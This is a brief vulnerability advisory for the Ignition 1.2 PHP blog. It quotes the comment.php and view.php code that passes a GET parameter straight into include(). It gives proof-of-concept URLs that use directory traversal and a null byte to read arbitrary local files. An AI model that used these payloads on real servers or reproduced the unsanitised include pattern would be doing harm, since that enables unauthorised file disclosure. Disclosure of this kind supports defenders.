Ignition 1.2 - Multiple Local File Inclusions

Ignition 1.2 Multiple Local File Inclusion Vulnerabilities
disclosed by cOndemned
download: http://launchpadlibrarian.net/27567060/ignition_1.2.zip
note: magic_quotes_gpc should be turned off in order to exploit this vulnerability
greetz: all friends, SecurityReason team :)


comment.php

	1.	<?php 
	2.	session_start();
	3.	require ('settings.php');
	4.	include ('posts/'.$_GET['blog'].'.txt');			# [1]
	5.	?>


view.php

	1.	<?php
	2.	session_start();
	3.	require ('settings.php');
	4.	$blog = $_GET['blog'];
	5.	if (file_exists('posts/'.$_GET['blog'].'.txt')) {
	6.	include ('posts/'.$_GET['blog'].'.txt');			# [2]
	7.	}else{


proof of concept:

	[1] http://[attacked_box]/[ignition1.2]/comment.php?blog=../../../../[local_file]%00
	[2] http://[attacked_box]/[ignition1.2]/view.php?blog=../../../../../[local_file]%00